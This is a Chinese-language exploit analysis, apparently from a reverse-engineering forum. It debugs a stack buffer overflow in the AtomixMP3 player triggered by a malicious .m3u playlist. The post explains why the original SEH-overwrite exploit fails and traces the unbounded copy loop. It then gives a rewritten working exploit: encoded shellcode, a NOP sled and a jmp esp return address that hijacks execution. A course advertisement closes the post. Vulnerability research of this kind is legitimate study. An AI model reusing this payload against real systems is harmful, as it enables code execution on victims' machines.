今天在http://www.milw0rm.com/exploits/8312找到AtomixMP3的一个bug的利用,于是拿下来分析了一下.
用OD载入程序,然后打开生成的exploit.m3u,OD提示"不知道如何继续进行,因为内存地址 41414141 处是不易读取的。请尝试更改 EIP 或者跳过异常执行程序。",这时候eip果然是41414141,再看一下seh链,地址=0012FC1C,SE 句柄=90909090,很显然句柄全是90是不正确的,肯定是覆盖seh的时候覆盖得不准确,按Shift+f9试一下,果然,还由于seh嵌套造成死循环,被调试程序无法处理异常.
好吧,试试手动改掉seh.首先重新载入程序,打开exploit.m3u,当出现第一个错误提示的时候输入d fs:[0],然后把seh句柄改成shellcode在栈中的地址,按shift+f9,程序什么提示都没有就结束了,突然想起了,这是因为seh验证机制.
总之,作者原来覆盖seh的方法在一般有seh验证机制的系统上根本就不行,并且他的shellcode在覆盖栈内seh的时候覆盖地址不准确.
再看一下,在调试器第一次提示异常的时候eip是41414141,而注入代码前面的字节就全部是0x41,由此可见,其实程序的流程早在出现这个提示前就被控制了.
为了找出程序是怎么被控制的,重新载入程序,在ReadFile下断点,然后打开exploit.m3u,在shellcode原来的尾部地址下硬件访问断点,我这里是12fd7d,当中断与ReadFile后,按f9运行,然后硬件中断于这里:
00438343 |. 8B11 mov edx,dword ptr ds:[ecx]
00438345 |. 8802 mov byte ptr ds:[edx],al
00438347 |. FF01 inc dword ptr ds:[ecx]
00438349 |. 0FB6C0 movzx eax,al
00438345处就是造成覆盖的地方,接着一直单步跟踪,经过数次返回之后程序到达00421f2f:
00421F29 |. 5E pop esi
00421F2A |. 5D pop ebp
00421F2B |. 5B pop ebx
00421F2C |. 8BE5 mov esp,ebp
00421F2E |. 5D pop ebp
00421F2F C3 retn
就在这个时候,[esp]是0x41414141,程序的运行流程就在这里被控制了.
那么,如果准确的覆盖掉这个地址,能不能直接让程序跳到shellcode运行呢?答案是可以的. 新的shellcode如下:
#################################################################
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44"
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56"
"\x4e\x56\x43\x46\x42\x30\x5a")
payload = "\x90"*(177+343)
payload+="\x67\xde\x09\x4d"
payload += shellcode
##################################################################
004383A3 |> /8A03 /mov al,byte ptr ds:[ebx] ;ebx指向shellcode代码
004383A5 |. |FF4C24 0C |dec dword ptr ss:[esp+C] ;每复制一个字节减少1,知道为0为止
004383A9 |. |8BCF |mov ecx,edi
004383AB |. |E8 82FFFFFF |call atomixmp.00438332 ;这个call的作用就是把shellcode复制到栈中
004383B0 |. |43 |inc ebx
004383B1 |. |833E FF |cmp dword ptr ds:[esi],-1
004383B4 |. |74 07 |je short atomixmp.004383BD
004383B6 |> |837C24 0C 00 cmp dword ptr ss:[esp+C],0
004383BB |.^\7F E6 \jg short atomixmp.004383A3
[esp+c]放置的是要复制的shellcode的代码大小,这是在前面计算出来的,以0字节为结束符来计算,很显然,作者在编写程序的时候没有限制要复制的最大字节数,造成溢出.正因为程序是以0字节为结束符来计算长度,所以整个payload代码中不能存在0字节,否则0字节后面的内容将不能被处理.shellcode中有一个解码过程,把原来被加密成ascii的代码还原后再执行.
当程序运行到0421f2f时,是一个retn的返回指令,这时候esp为0012fb30,栈是这样的:
0012FB28 90909090
0012FB2C 90909090
0012FB30 4D09DE67 WMVCore.4D09DE67
0012FB34 EB5903EB
0012FB38 FFF8E805
0012FB3C 494FFFFF
0012FB40 49494949
0012FB44 565A5149
0012FB48 33365854
可以看到shellcode已经准确的覆盖了栈空间,[esp]的值就是4D09DE67,紧接着的就是shellcode,4D09DE67处其实是在内存中找到的一个jmp esp的指令,在不同的系统上可能不同,当程序在0421f2f处返回后就会到4D09DE67,在4D09DE67的时候esp就是指向到shellcode,执行jmp esp的结果就是跳到shellcode中运行了.
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)